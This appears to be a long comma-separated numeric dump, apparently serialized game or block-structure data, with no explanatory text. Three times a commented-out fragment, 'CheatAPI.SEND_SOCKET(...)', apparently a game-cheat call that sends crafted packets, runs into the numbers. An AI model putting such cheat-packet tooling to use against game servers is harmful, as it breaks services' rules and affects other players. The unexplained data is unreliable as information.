5,7,7,0,32,0,1,255,236,7,7,0,32,0,1,255,237,7,7,0,32,0,1,255,238,7,7,0,32,0,1,255,239,7,7,0,32,0,1,255,240,7,7,0,32,0,1,255,241,7,7,0,32,0,1,255,242,7,7,0,32,0,1,255,243,7,7,0,32,0,1,255,244,7,7,0,32,0,1,255,245,7,7,0,32,0,1,255,246,7,7,0,32,0,1,255,247,7,7,0,32,0,1,255,248,7,7,0,32,0,1,255,249,7,7,0,32,0,2,255,231,7,7,0,32,0,2,255,232,7,7,0,32,0,2,255,233,7,7,0,32,0,2,255,234,7,7,0,32,0,2,255,235,7,7,0,32,0,2,255,236,7,7,0,32,0,2,255,237,7,7,0,32,0,2,255,238,7,7,0,32,0,2,255,239,7,7,0,32,0,2,255,240,7,7,0,32,0,2,255,241,7,7,0,32,0,2,255,242,7,7,0,32,0,2,255,243,7,7,0,32,0,2,255,244,7,7,0,32,0,2,255,245,7,7,0,32,0,2,255,246,7,7,0,32,0,2,255,247,7,7,0,32,0,2,255,248,7,7,0,32,0,2,255,249,7,7,0,32,0,3,255,249,7,7,0,32,0,3,255,248,7,7,0,32,0,3,255,247,7,7,0,32,0,3,255,246,7,7,0,32,0,3,255,245,7,7,0,32,0,3,255,244,7,7,0,32,0,3,255,243,7,7,0,32,0,3,255,242,7,7,0,32,0,3,255,241,7,7,0,32,0,3,255,240,7,7,0,32,0,3,255,239,7,7,0,32,0,3,255,238,7,7,0,32,0,3,255,237,7,7,0,32,0,3,255,236,7,7,0,32,0,3,255,235,7,7,0,32,0,3,255,234,7,7,0,32,0,3,255,233,7,7,0,32,0,3,255,232,7,7,0,32,0,3,255,231,7,7,0,32,0,4,255,232,7,7,0,32,0,4,255,233,7,7,0,32,0,4,255,234,7,7,0,32,0,4,255,235,7,7,0,32,0,4,255,236,7,7,0,32,0,4,255,237,7,7,0,32,0,4,255,238,7,7,0,32,0,4,255,239,7,7,0,32,0,4,255,240,7,7,0,32,0,4,255,241,7,7,0,32,0,4,255,242,7,7,0,32,0,4,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//  CheatAPI.SEND_SOCKET(243,4,62,0,3,245,120,0,0,19,136,0,46,0,246,255,213,7,23,0,46,0,246,255,214,7,23,0,46,0,246,255,215,7,23,0,46,0,247,255,215,7,23,0,46,0,247,255,214,7,23,0,46,0,247,255,213,7,23,0,46,0,247,255,212,7,23,0,46,0,247,255,211,7,23,0,46,0,247,255,210,7,23,0,46,0,247,255,209,7,23,0,46,0,248,255,210,7,23,0,46,0,248,255,211,7,23,0,46,0,248,255,212,7,23,0,46,0,248,255,213,7,23,0,46,0,248,255,214,7,23,0,46,0,248,255,215,7,23,0,46,0,248,255,209,7,23,0,43,0,246,255,207,19,23,0,36,0,246,255,199,14,20,120,123,23,3,103,100,0,23,0,36,0,246,255,206,14,21,121,124,24,4,104,101,1,23,0,36,0,247,255,206,14,21,121,124,24,4,104,101,1,23,0,36,0,247,255,199,14,20,120,123,23,3,103,100,0,23,0,36,0,248,255,199,19,23,0,39,0,246,255,200,6,45,120,124,49,29,104,100,25,23,0,36,0,248,255,206,35,23,0,39,0,246,255,206,6,21,45,120,24,4,100,25,1,23,0,39,0,246,255,205,6,45,120,124,49,29,104,100,25,23,0,39,0,246,255,204,6,45,120,124,49,29,104,100,25,23,0,39,0,246,255,203,6,45,120,124,49,29,104,100,25,23,0,39,0,246,255,202,6,45,120,124,49,29,104,100,25,23,0,39,0,246,255,201,6,45,120,124,49,29,104,100,25,23,0,39,0,247,255,199,6,20,124,49,23,3,29,104,0,23,0,39,0,247,255,206,6,21,45,120,24,4,100,25,1,23,0,39,0,247,255,205,6,45,120,124,49,29,104,100,25,23,0,39,0,247,255,204,6,45,120,124,49,29,104,100,25,23,0,39,0,247,255,203,6,45,120,124,49,29,104,100,25,23,0,39,0,247,255,202,6,45,120,124,49,29,104,100,25,23,0,39,0,247,255,201,6,45,120,124,49,29,104,100,25,23,0,39,0,247,255,200,6,45,120,124,49,29,104,100,25,23,0,32,0,242,255,198,51,23,0,25,0,245,255,198,79,23,0,25,0,246,255,198,47,23,0,43,0,242,255,204,6,20,120,124,24,19,119,115,15,23,0,43,0,243,255,204,7,23,0,42,0,246,255,207,6,20,120,124,24,19,119,115,15,23,255,255,0,20,255,240,6,23,123,124,24,14,119,118,13,7,255,255,0,20,255,241,6,20,120,121,21,11,116,115,10,7,255,254,0,20,255,242,6,20,45,49,24,19,44,35,10,10,255,253,0,20,255,242,6,95,120,124,99,94,119,110,85,10,255,252,0,20,255,241,6,20,120,121,21,16,111,110,15,2,255,252,0,20,255,240,6,23,123,124,24,19,114,113,18,2,255,254,0,20,255,239,6,20,45,49,24,14,39,40,15,15,255,253,0,20,255,239,6,95,120,124,99,89,114,115,90,15,0,42,0,246,255,208,6,23,123,124,24,4,104,103,3,23,255,252,0,21,255,241,6,5,100,101,6,1,101,100,0,2,255,252,0,21,255,240,6,8,103,104,9,4,104,103,3,2,255,253,0,21,255,242,6,75,100,109,84,79,104,100,75,10,255,254,0,21,255,242,6,0,25,34,9,4,29,25,0,10,255,253,0,21,255,239,6,80,105,104,79,79,104,100,75,15,255,254,0,21,255,239,6,5,30,29,4,4,29,25,0,15,255,255,0,21,255,241,6,0,105,106,1,1,101,100,0,7,255,255,0,21,255,240,6,3,108,109,4,4,104,103,3,7,0,44,0,245,255,208,15,23,0,37,0,245,255,216,43,23,0,37,0,245,255,215,43,23,0,37,0,245,255,214,43,23,0,37,0,245,255,213,43,23,0,37,0,245,255,212,43,23,0,37,0,245,255,211,43,23,0,37,0,245,255,210,43,23,0,37,0,245,255,209,43,23,0,40,0,242,255,206,18,20,120,124,24,19,119,115,15,23,0,40,0,242,255,205,6,20,120,124,24,19,119,115,15,23,0,32,0,244,255,198,51,23,0,38,0,243,255,203,6,22,124,124,24,4,104,104,2,23,0,43,0,244,255,201,7,23,0,43,0,244,255,202,7,23,0,40,0,242,255,203,6,15,115,119,19,4,104,100,0,23,0,41,0,242,255,203,15,23,0,43,0,244,255,203,7,23,0,43,0,244,255,204,7,23,0,38,0,243,255,204,15,23,0,38,0,244,255,203,6,22,124,124,24,4,104,104,2,23,0,43,0,242,255,205,6,20,120,124,24,19,119,115,15,23,0,38,0,242,255,204,14,20,120,124,24,19,119,115,15,23,0,43,0,244,255,200,7,23,0,43,0,244,255,199,7,23,0,43,0,243,255,199,7,23,255,205,0,163,0,14,7,23,255,206,0,163,0,14,6,20,121,124,24,4,104,101,0,23,255,209,0,163,0,13,7,23,255,205,0,164,0,13,23,23,255,207,0,163,0,14,6,21,121,124,24,4,104,101,1,23,255,205,0,164,0,12,23,23,255,208,0,163,0,14,6,21,70,74,24,4,54,50,1,23,255,205,0,162,0,13,23,23,255,205,0,162,0,14,23,23,255,205,0,162,0,12,23,23,255,205,0,163,0,12,7,23,255,209,0,163,0,12,7,23,255,205,0,162,0,11,23,23,255,205,0,163,0,13,7,23,255,205,0,164,0,14,23,23,255,208,0,163,0,13,6,70,120,124,74,54,104,100,50,23,255,208,0,163,0,12,6,22,120,74,23,3,54,100,2,23,255,209,0,163,0,14,7,23,255,205,0,163,0,11,7,23,255,209,0,163,0,10,7,23,255,205,0,164,0,11,23,23,255,205,0,162,0,10,23,23,255,205,0,163,0,10,7,23,255,205,0,164,0,10,7,23,255,205,0,165,0,10,23,23,255,207,0,164,0,10,15,23,255,209,0,163,0,11,7,23,255,205,0,163,0,9,23,23,255,205,0,164,0,9,23,23,255,205,0,162,0,9,23,23,0,36,0,247,255,203,6,45,70,74,49,29,54,50,25,2,0,36,0,248,255,204,19,23,0,36,0,248,255,203,19,23,0,39,0,246,255,199,6,20,124,49,23,3,29,104,0,23,0,36,0,246,255,203,6,45,70,74,49,29,54,50,25,2,0,36,0,248,255,205,35,23,0,26,0,245,255,214,43,23,0,25,0,245,255,199,79,23,0,26,0,246,255,214,7,23,0,25,0,245,255,200,79,23,0,26,0,247,255,214,7,23,0,25,0,245,255,201,79,23,0,26,0,248,255,214,43,23,0,25,0,245,255,202,43,23,0,35,0,245,255,203,6,22,122,124,24,4,104,102,2,23,0,36,0,245,255,202,35,23,0,25,0,245,255,203,43,23,0,35,0,245,255,202,6,20,120,122,22,2,102,100,0,23,0,36,0,245,255,203,35,23,0,33,0,246,255,208,6,20,45,49,24,4,29,25,0,23,0,25,0,245,255,204,79,23,0,33,0,247,255,208,6,20,45,49,24,4,29,25,0,23,0,25,0,245,255,205,79,23,0,25,0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//  CheatAPI.SEND_SOCKET(243,4,62,0,3,245,120,0,0,19,136,255,210,0,168,0,4,7,28,255,210,0,168,0,3,7,28,255,210,0,168,0,2,7,28,255,210,0,168,0,1,7,28,255,210,0,167,0,6,7,28,255,210,0,167,0,5,7,28,255,210,0,167,0,4,7,28,255,210,0,167,0,3,7,28,255,210,0,167,0,2,7,28,255,210,0,167,0,1,7,28,255,204,0,170,0,6,31,28,255,204,0,170,0,5,31,28,255,204,0,170,0,4,31,28,255,204,0,170,0,3,31,28,255,204,0,170,0,2,31,28,255,204,0,170,0,1,31,28,255,204,0,170,0,0,31,28,255,211,0,168,0,5,19,23,255,211,0,169,0,5,10,22,122,124,24,4,104,102,2,23,255,211,0,169,0,4,19,23,255,211,0,170,0,5,19,23,255,206,0,168,0,17,7,23,255,208,0,168,0,17,7,23,255,207,0,169,0,17,7,23,255,207,0,168,0,18,7,23,255,213,0,168,0,6,11,23,255,212,0,169,0,6,7,23,255,212,0,169,0,7,19,23,255,215,0,169,0,6,7,23,255,215,0,169,0,5,7,23,255,213,0,170,0,6,11,23,255,209,0,167,255,255,7,28,255,207,0,166,255,255,11,28,255,207,0,167,255,255,7,28,255,208,0,168,255,255,7,28,255,208,0,166,255,254,7,28,255,208,0,167,255,254,7,28,255,213,0,169,0,5,7,23,0,34,0,247,255,197,6,63,63,124,24,4,104,63,63,23,0,0,5,174,62,128,0,0,0,0,64,184,0,0,0,4,0,0,0,0,0,0,12,17,62,0,0,0,0,0,64,184,0,0,0,132,0,0,0,8,0,1,0,0,0,1,6,20,70,71,21,6,61,60,5,23,0,1,0,0,0,0,6,23,73,74,24,9,64,63,8,23,0,1,0,1,0,1,6,15,90,91,41,1,51,50,0,23,0,0,0,1,0,0,6,87,112,109,84,84,109,108,83,2,0,0,0,1,0,1,6,80,105,112,87,81,106,105,80,2,0,1,0,1,0,0,6,17,92,94,19,4,54,53,3,23,0,0,0,0,0,1,6,85,115,111,81,81,106,105,55,23,0,0,0,0,0,0,6,83,113,119,89,59,109,108,83,23,0,0,5,219,62,128,0,0,0,4,15,111,0,0,3,84,0,0,0,53,255,255,0,7,255,252,6,46,120,124,24,19,119,115,41,23,255,255,0,7,0,4,6,20,120,124,48,43,119,115,15,23,255,255,0,10,0,2,6,105,105,109,59,54,104,100,100,50,255,255,0,7,255,253,6,20,120,124,48,43,119,115,15,23,255,255,0,10,255,254,6,55,105,109,109,104,104,100,50,50,255,255,0,10,255,253,6,55,105,109,59,54,104,100,50,50,0,0,0,9,0,3,6,20,96,124,24,4,104,76,0,23,0,0,0,9,255,252,6,20,96,124,24,4,104,76,0,23,0,0,0,9,255,253,6,20,120,98,24,4,78,100,0,23,0,0,0,9,0,4,6,20,120,98,24,4,78,100,0,23,0,0,0,10,0,4,6,5,55,57,8,3,52,50,0,50,0,0,0,10,0,3,6,10,35,39,14,4,54,50,0,54,255,255,0,8,0,4,6,20,120,124,48,28,104,100,0,23,0,0,0,10,0,2,6,5,55,59,9,4,54,50,0,50,255,255,0,9,0,3,6,46,120,124,49,29,104,100,26,23,255,255,0,9,0,4,6,45,120,124,49,29,104,100,25,23,0,0,0,8,0,3,6,20,96,124,24,4,104,76,0,23,255,255,0,7,0,3,6,46,120,124,24,19,119,115,41,23,255,255,0,9,255,251,6,30,55,69,44,29,54,50,25,50,255,255,0,8,255,253,6,20,120,124,48,28,104,100,0,23,255,255,0,8,0,3,6,46,120,124,24,4,104,100,26,23,255,255,0,8,255,252,6,46,120,124,24,4,104,100,26,23,255,255,0,9,255,253,6,45,120,124,48,28,104,100,25,23,255,255,0,9,255,252,6,45,120,124,49,29,104,100,25,23,0,0,0,7,255,253,6,20,70,48,23,3,28,50,0,50,0,0,0,8,255,253,6,20,120,98,24,4,78,100,0,23,0,0,0,7,255,252,6,21,46,74,24,4,54,26,1,50,0,0,0,8,255,252,6,20,96,124,24,4,104,76,0,23,0,0,0,7,0,3,6,21,46,74,24,9,59,31,6,50,0,0,0,7,0,4,6,20,70,48,23,8,33,55,5,50,255,255,0,9,0,5,6,40,65,59,34,29,54,50,25,50,0,0,0,8,0,4,6,20,120,98,24,4,78,100,0,23,255,255,0,9,0,1,6,70,120,124,74,69,114,110,65,23,0,0,0,9,0,0,6,20,70,74,24,4,79,75,0,53,0,0,0,9,0,1,6,20,115,117,22,2,102,100,0,50,0,0,0,9,255,255,6,22,117,119,24,4,104,102,2,50,0,0,0,8,255,255,6,23,73,74,24,4,54,53,3,53,0,0,0,8,0,0,6,20,70,74,24,4,54,50,0,53,0,0,0,8,0,1,6,20,70,71,21,1,51,50,0,53,255,255,0,10,0,3,6,55,105,109,59,54,104,100,50,50,255,255,0,10,0,4,6,55,105,108,57,52,103,100,50,50,0,0,0,10,0,1,6,45,70,59,34,29,54,60,35,50,0,0,0,10,0,0,6,40,65,69,44,29,54,50,25,53,0,0,0,10,255,255,6,30,55,74,49,39,64,50,25,50,0,0,0,10,255,254,6,5,55,59,9,4,54,50,0,50,0,0,0,10,255,253,6,10,35,39,14,4,54,50,0,54,255,255,0,10,255,252,6,57,106,109,59,54,104,101,52,50,0,0,0,10,255,252,6,6,57,59,9,4,54,52,1,50,255,255,0,9,255,255,6,70,120,124,74,69,114,110,65,53,0,1,0,9,0,1,6,15,40,42,17,2,27,25,0,50,0,1,0,9,255,255,6,17,42,44,19,4,29,27,2,21,0,1,0,8,255,255,6,22,47,49,24,4,29,27,2,50,0,1,0,8,0,1,6,20,45,47,22,2,27,25,0,50,0,0,5,237,63,128,0,0,0,4,15,111,0,0,0,36,0,0,0,4,255,253,0,0,0,0,19,23,255,253,0,0,0,1,19,23,255,253,0,0,0,2,19,23,255,253,0,0,0,3,19,23,0,0,5,238,63,128,0,0,0,4,15,111,0,0,0,132,0,0,0,16,255,252,0,0,0,1,11,23,255,252,0,0,0,2,11,23,255,252,0,0,0,3,35,23,255,252,0,0,0,4,35,23,255,252,255,255,0,4,19,23,255,252,255,255,0,3,19,23,255,252,255,255,0,2,11,23,255,252,255,255,0,1,11,23,255,252,255,254,0,3,19,23,255,252,255,253,0,3,19,23,255,252,255,254,0,4,19,23,255,252,255,253,0,4,19,23,255,252,255,254,0,2,11,23,255,252,255,254,0,1,11,23,255,252,255,253,0,1,11,23,255,252,255,253,0,2,11,23,0,0,6,7,63,128,0,0,0,4,15,111,0,0,0,4,0,0,0,0,0,0,6,23,63,128,0,0,0,4,15,111,0,0,2,164,0,0,0,84,0,0,0,0,0,0,7,7,0,0,0,0,0,1,7,7,0,0,0,0,0,2,7,7,255,237,0,19,0,3,7,7,255,255,0,1,0,0,7,7,255,255,0,1,0,1,7,7,255,255,0,1,0,2,7,7,255,252,0,4,0,0,7,7,255,254,0,2,0,0,7,7,255,254,0,2,0,1,7,7,255,254,0,2,0,2,7,7,255,242,0,14,0,0,7,7,255,253,0,3,0,0,7,7,255,253,0,3,0,1,7,7,255,251,0,5,0,0,7,7,255,253,0,3,0,2,7,7,255,241,0,15,0,0,7,7,255,250,0,6,0,0,7,7,255,236,0,20,0,1,7,7,255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//  CheatAPI.SEND_SOCKET(243,4,62,0,3,245,120,0,0,19,136,0,2,7,15,255,236,0,20,0,0,7,15,255,238,0,18,0,0,7,15,255,242,0,14,0,3,7,15,255,245,0,11,0,3,7,15,255,244,0,12,0,3,7,15,0,0,6,28,63,128,0,0,0,4,15,111,0,0,2,196,0,0,0,88,255,242,0,0,255,253,63,10,255,245,0,0,0,0,51,10,255,244,0,0,0,0,7,7,255,242,0,3,0,0,63,10,255,248,0,0,0,3,15,10,255,248,0,0,0,10,11,10,255,248,0,0,0,11,11,10,255,242,0,1,255,253,63,10,255,242,0,2,255,253,7,10,0,0,0,2,0,0,7,10,0,0,0,2,255,253,7,10,255,244,0,1,0,3,19,10,255,244,255,254,0,3,19,10,255,242,0,3,255,255,63,10,255,250,0,1,0,0,31,10,255,244,255,253,0,1,19,10,255,244,0,2,0,0,7,10,255,242,0,3,255,253,63,10,255,242,0,3,255,254,63,10,255,250,0,2,0,0,7,10,255,252,0,2,0,0,7,10,255,254,0,2,0,0,7,10,255,244,255,254,0,2,7,10,255,244,255,253,0,2,19,10,255,244,0,2,255,253,7,10,255,244,255,253,0,3,19,10,255,246,0,2,255,253,7,10,255,248,0,2,255,253,7,10,255,250,0,2,255,253,7,10,255,252,0,2,255,253,7,10,255,244,255,254,0,1,7,10,255,254,0,2,255,253,7,10,255,249,0,0,0,12,7,10,255,247,0,0,0,3,7,7,255,247,0,0,0,4,19,10,255,247,0,0,0,5,19,10,255,247,0,0,0,6,19,10,255,247,0,0,0,7,19,10,255,247,0,0,0,8,19,10,255,247,0,0,0,9,19,10,255,244,0,0,0,3,15,10,255,247,0,1,0,9,7,10,255,244,255,254,0,0,19,10,255,250,0,1,0,9,7,10,255,244,0,0,0,2,31,10,255,247,0,1,0,4,7,10,255,247,0,1,0,5,7,10,255,247,0,1,0,6,7,10,255,247,0,1,0,7,7,10,255,247,0,1,0,8,7,10,255,250,0,1,0,1,7,10,255,250,0,1,0,2,7,10,255,250,0,1,0,3,7,10,255,250,0,1,0,4,7,10,255,250,0,1,0,5,7,10,255,250,0,1,0,6,7,10,255,250,0,1,0,7,7,10,255,250,0,1,0,8,7,10,255,250,0,2,0,8,7,10,255,247,255,255,0,3,7,10,255,250,0,2,0,6,7,10,255,250,0,2,0,4,7,10,255,244,255,253,0,0,19,10,255,250,0,2,0,2,7,10,255,247,0,2,0,8,7,10,255,247,0,2,0,6,7,10,255,247,0,2,0,4,7,10,255,244,0,0,0,1,7,10,255,244,0,1,0,2,7,10,255,247,255,255,0,0,7,10,255,244,255,255,0,0,7,10,255,247,0,3,0,4,19,10,255,247,0,3,0,5,19,10,255,247,0,3,0,6,19,10,255,247,0,3,0,7,19,10,255,244,0,1,0,1,7,10,255,249,0,3,0,8,11,10,255,242,0,0,0,0,11,10,255,242,0,1,0,0,15,10,255,242,0,2,0,0,7,10,255,238,0,0,255,254,79,10,255,239,0,0,255,255,75,10,255,247,255,254,0,1,7,10,255,247,255,254,0,2,7,10,255,246,0,0,0,1,23,10,255,244,0,3,0,1,31,10,255,244,0,3,0,2,31,10,255,244,0,3,0,3,31,10,0,0,6,29,63,128,0,0,0,4,15,111,0,0,2,196,0,0,0,88,255,242,0,0,255,253,63,2,255,245,0,0,0,0,51,2,255,244,0,0,0,0,7,7,255,242,0,3,0,0,63,2,255,248,0,0,0,3,15,2,255,248,0,0,0,10,11,2,255,248,0,0,0,11,11,2,255,242,0,1,255,253,63,2,255,242,0,2,255,253,7,2,0,0,0,2,0,0,7,2,0,0,0,2,255,253,7,2,255,244,0,1,0,3,19,2,255,244,255,254,0,3,19,2,255,242,0,3,255,255,63,2,255,250,0,1,0,0,31,2,255,244,255,253,0,1,19,2,255,244,0,2,0,0,7,2,255,242,0,3,255,253,63,2,255,242,0,3,255,254,63,2,255,250,0,2,0,0,7,2,255,252,0,2,0,0,7,2,255,254,0,2,0,0,7,2,255,244,255,254,0,2,7,2,255,244,255,253,0,2,19,2,255,244,0,2,255,253,7,2,255,244,255,253,0,3,19,2,255,246,0,2,255,253,7,2,255,248,0,2,255,253,7,2,255,250,0,2,255,253,7,2,255,252,0,2,255,253,7,2,255,244,255,254,0,1,7,2,255,254,0,2,255,253,7,2,255,249,0,0,0,12,7,2,255,247,0,0,0,3,7,7,255,247,0,0,0,4,19,2,255,247,0,0,0,5,19,2,255,247,0,0,0,6,19,2,255,247,0,0,0,7,19,2,255,247,0,0,0,8,19,2,255,247,0,0,0,9,19,2,255,244,0,0,0,3,15,2,255,247,0,1,0,9,7,2,255,244,255,254,0,0,19,2,255,250,0,1,0,9,7,2,255,244,0,0,0,2,31,2,255,247,0,1,0,4,7,2,255,247,0,1,0,5,7,2,255,247,0,1,0,6,7,2,255,247,0,1,0,7,7,2,255,247,0,1,0,8,7,2,255,250,0,1,0,1,7,2,255,250,0,1,0,2,7,2,255,250,0,1,0,3,7,2,255,250,0,1,0,4,7,2,255,250,0,1,0,5,7,2,255,250,0,1,0,6,7,2,255,250,0,1,0,7,7,2,255,250,0,1,0,8,7,2,255,250,0,2,0,8,7,2,255,247,255,255,0,3,7,2,255,250,0,2,0,6,7,2,255,250,0,2,0,4,7,2,255,244,255,253,0,0,19,2,255,250,0,2,0,2,7,2,255,247,0,2,0,8,7,2,255,247,0,2,0,6,7,2,255,247,0,2,0,4,7,2,255,244,0,0,0,1,7,2,255,244,0,1,0,2,7,2,255,247,255,255,0,0,7,2,255,244,255,255,0,0,7,2,255,247,0,3,0,4,19,2,255,247,0,3,0,5,19,2,255,247,0,3,0,6,19,2,255,247,0,3,0,7,19,2,255,244,0,1,0,1,7,2,255,249,0,3,0,8,11,2,255,242,0,0,0,0,11,2,255,242,0,1,0,0,15,2,255,242,0,2,0,0,7,2,255,238,0,0,255,254,79,2,255,239,0,0,255,255,75,2,255,247,255,254,0,1,7,2,255,247,255,254,0,2,7,2,255,246,0,0,0,1,23,2,255,244,0,3,0,1,31,2,255,244,0,3,0,2,31,2,255,244,0,3,0,3,31,2,0,0,6,30,63,128,0,0,0,4,15,111,0,0,2,196,0,0,0,88,255,242,0,0,255,253,63,15,255,245,0,0,0,0,51,15,255,244,0,0,0,0,7,7,255,242,0,3,0,0,63,15,255,248,0,0,0,3,15,15,255,248,0,0,0,10,11,15,255,248,0,0,0,11,11,15,255,242,0,1,255,253,63,15,255,242,0,2,255,253,7,15,0,0,0,2,0,0,7,15,0,0,0,2,255,253,7,15,255,244,0,1,0,3,19,15,255,244,255,254,0,3,19,15,255,242,0,3,255,255,63,15,255,250,0,1,0,0,31,15,255,244,255,253,0,1,19,15,255,244,0,2,0,0,7,15,255,242,0,3,255,253,63,15,255,242,0,3,255,254,63,15,255,250,0,2,0,0,7,15,255,252,0,2,0,0,7,15,255,254,0,2,0,0,7,15,255,244,255,254,0,2,7,15,255,244,255,253,0,2,19,15,255,244,0,2,255,253,7,15,255,244,255,253,0,3,19,15,255,246,0,2,255,253,7,15,255,248,0,2,255,253,7,15,255,250,0,2,255,253,7,15,255,252,0,2,255,253,7,15,255,244,255,254,0,1,7,15,255,254,0,2,255,253,7,15,255,249,0,0,0,12,7,15,255,247,0,0,0,3,7,7,255,247,0,0,0,4,19,15,255,247,0,0,0,5,19,15,255,247,0,0,0,6,19,15,255,247,0,0,0,7,19,15,255,247,0,0,0,8,19,15,255,247,0,0,0,9,19,15,255,244,0,0,0,3,15,15,255,247,0,1,0,9,7,15,255,244,255,254,0,0,19,15,255,250,0,1,0,9,7,15,255,244,0,0,0,2,31,15,255,247,0,1,0,4,7,15,255,247,0,1,0,5,7,15,255,247,0,1,0,6,7,15,255,247,0,1,0,7,7,15,255,247,0,1,0,8,7,15,255,250,0,1,0,1,7,15,255,250,0,1,0,2,7,15,255,250,0,1,0,3,7,15,255,250,0,1,0,4,7,15,255,250,0,1,0,5,7,15,255,250,0,1,0,6,7,15,255,250,0,1,0,7,7,15,255,250,0,1,0,8,7,15,255,250,0,2,0,8,7,15,255,247,255,255,0,3,7,15,255,250,0,2,0,6,7,15,255,250,0,2,0,4,7,15,255,244,255,253,0,0,19,15,255,250,0,2,0,2,7,15,255,247,0,2,0,8,7,15,255,247,0,2,0,6,7,15,255,247,0,2,0,4,7,15,255,244,0,0,0,1,7,15,255,244,0,1,0,2,7,15,255,247,255,255,0,0,7,15,255,244,255,255,0,0,7,15,255,247,0,3,0,4,19,15,255,247,0,3,0,5,19,15,255,247,0,3,0,6,19,15,255,247,0,3,0,7,19,15,255,244,0,1,0,1,7,15,255,249,0,3,0,8,11,15,255,242,0,0,0,0,11,15,255,242,0,1,0,0,15,15,255,242,0,2,0,0,7,15,255,238,0,0,255,254,79,15,255,239,0,0,255,255,75,15,255,247,255,254,0,1,7,15,255,247,255,254,0,2,7,15,255,246,0,0,0,1,23,15,255,244,0,3,0,1,31,15,255,244,0,3,0,2,31,15,255,244,0,3,0,3,31,15,0,0,6,40,63,128,0,0,0,4,15,111,0,0,1,4,0,0,0,32,0,0,0,0,0,0,7,7,0,0,0,1,0,0,7,7,0,0,0,2,0,0,7,7,0,0,0,3,0,0,7,7,0,0,0,0,255,255,7,7,0,0,0,1,255,255,7,7,0,0,0,0,255,254,7,7,0,0,0,2,255,255,7,7,0,0,0,3,255,255,7,7,0,0,0,1,255,254,7,7,0,0,0,2,255,254,7,7,0,0,0,3,255,254,7,7,0,0,0,0,255,253,7,7,0,0,0,1,255,253,7,7,0,0,0,2,255,253,7,7,0,0,0,3,255,253,7,7,255,254,0,0,0,0,11,21,255,254,0,3,0,0,11,21,255,254,0,3,255,253,11,21,255,254,0,0,255,253,11,21,255,254,0,1,255,253,11,21,255,254,0,2,255,253,11,21,255,254,0,0,255,255,11,21,255,254,0,0,255,254,11,21,255,254,0,1,0,0,11,21,255,254,0,2,0,0,11,21,255,254,0,1,255,255,11,21,255,254,0,1,255,254,11,21,255,254,0,2,255,255,11,21,255,254,0,2,255,254,11,21,255,254,0,3,255,255,11,21,255,254,0,3,255,254,11,21,0,0,6,41,63,128,0,0,0,4,15,111,0,0,1,132,0,0,0,48,0,0,0,0,255,252,7,10,255,255,0,0,255,252,7,21,255,255,0,2,255,252,7,21,255,254,0,1,255,252,7,10,0,0,0,0,255,255,7,10,0,0,0,1,255,255,7,10,0,0,0,0,255,254,7,10,0,0,0,2,255,255,7,10,0,0,0,3,255,255,7,10,0,0,0,1,255,254,7,10,0,0,0,2,255,254,7,10,0,0,0,3,255,254,7,10,0,0,0,0,255,253,7,10,0,0,0,1,255,253,7,10,0,0,0,2,255,253,7,10,0,0,0,3,255,253,7,10,0,0,0,1,255,252,7,10,255,255,0,3,255,252,7,21,255,255,0,2,255,255,7,21,255,254,0,2,255,252,7,10,255,255,0,3,255,255,7,21,255,255,0,1,255,252,7,21,255,255,0,0,255,255,7,21,255,255,0,1,255,255,7,21,255,255,0,0,255,254,7,21,255,255,0,0,255,253,7,21,255,255,0,1,255,254,7,21,255,255,0,2,255,254,7,21,255,255,0,3,255,254,7,21,255,255,0,3,255,253,7,21,255,255,0,1,255,253,7,21,255,255,0,2,255,253,7,21,0,0,0,2,255,252,7,10,255,254,0,3,255,252,7,10,255,254,0,3,255,253,7,10,255,254,0,0,255,253,7,10,255,254,0,1,255,253,7,10,255,254,0,2,255,253,7,10,255,254,0,0,255,255,7,10,255,254,0,0,255,254,7,10,0,0,0,3,255,252,7,10,255,254,0,0,255,252,7,10,255,254,0,1,255,255,7,10,255,254,0,1,255,254,7,10,255,254,0,2,255,255,7,10,255,254,0,2,255,254,7,10,255,254,0,3,255,255,7,10,255,254,0,3,255,254,7,10,0,0,6,43,63,128,0,0,0,4,15,111,0,0,1,4,0,0,0,32,0,0,0,0,255,252,7,2,255,254,0,3,255,253,11,21,0,0,0,0,255,255,7,2,0,0,0,1,255,255,7,2,0,0,0,0,255,254,7,2,0,0,0,2,255,255,7,2,0,0,0,3,255,255,7,2,0,0,0,1,255,254,7,2,0,0,0,2,255,254,7,2,0,0,0,3,255,254,7,2,0,0,0,0,255,253,7,2,0,0,0,1,255,253,7,2,0,0,0,2,255,253,7,2,0,0,0,3,255,253,7,2,0,0,0,1,255,252,7,2,255,254,0,1,255,252,11,21,0,0,0,2,255,252,7,2,255,254,0,2,255,253,11,21,255,254,0,2,255,254,11,21,255,254,0,0,255,253,11,21,255,254,0,3,255,254,11,21,255,254,0,1,255,254,11,21,255,254,0,0,255,255,11,21,255,254,0,0,255,254,11,21,0,0,0,3,255,252,7,2,255,254,0,0,255,252,11,21,255,254,0,2,255,255,11,21,255,254,0,3,255,255,11,21,255,254,0,1,255,255,11,21,255,254,0,3,255,252,11,21,255,254,0,2,255,252,11,21,255,254,0,1,255,253,11,21,0,0,6,44,63,128,0,0,0,4,15,111,0,0,1,4,0,0,0,32,0,0,0,0,255,252,7,15,255,254,0,3,255,253,11,21,0,0,0,0,255,255,7,15,0,0,0,1,255,255,7,15,0,0,0,0,255,254,7,15,0,0,0,2,255,255,7,15,0,0,0,3,255,255,7,15,0,0,0,1,255,254,7,15,0,0,0,2,255,254,7,15,0,0,0,3,255,254,7,15,0,0,0,0,255,253,7,15,0,0,0,1,255,253,7,15,0,0,0,2,255,253,7,15,0,0,0,3,255,253,7,15,0,0,0,1,255,252,7,15,255,254,0,1,255,252,11,21,0,0,0,2,255,252,7,15,255,254,0,2,255,253,11,21,255,254,0,2,255,254,11,21,255,254,0,0,255,253,11,21,255,254,0,3,255,254,11,21,255,254,0,1,255,254,11,21,255,254,0,0,255,255,11,21,255,254,0,0,255,254,11,21,0,0,0,3,255,252,7,15,255,254,0,0,255,252,11,21,255,254,0,2,255,255,11,21,255,254,0,3,255,255,11,21,255,254,0,1,255,255,11,21,255,254,0,3,255,252,11,21,255,254,0,2,255,252,11,21,255,254,0,1,255,253,11,21,0,0,6,45,62,128,0,0,0,4,15,111,0,0,3,84,0,0,0,53,255,255,0,7,255,252,6,46,120,124,24,19,119,115,41,23,255,255,0,7,0,4,6,20,120,124,48,43,119,115,15,23,255,255,0,10,0,2,6,105,105,109,59,54,104,100,100,21,255,255,0,7,255,253,6,20,120,124,48,43,119,115,15,23,255,255,0,10,255,254,6,55,105,109,109,104,104,100,50,21,255,255,0,10,255,253,6,55,105,109,59,54,104,100,50,21,0,0,0,9,0,3,6,20,96,124,24,4,104,76,0,15,0,0,0,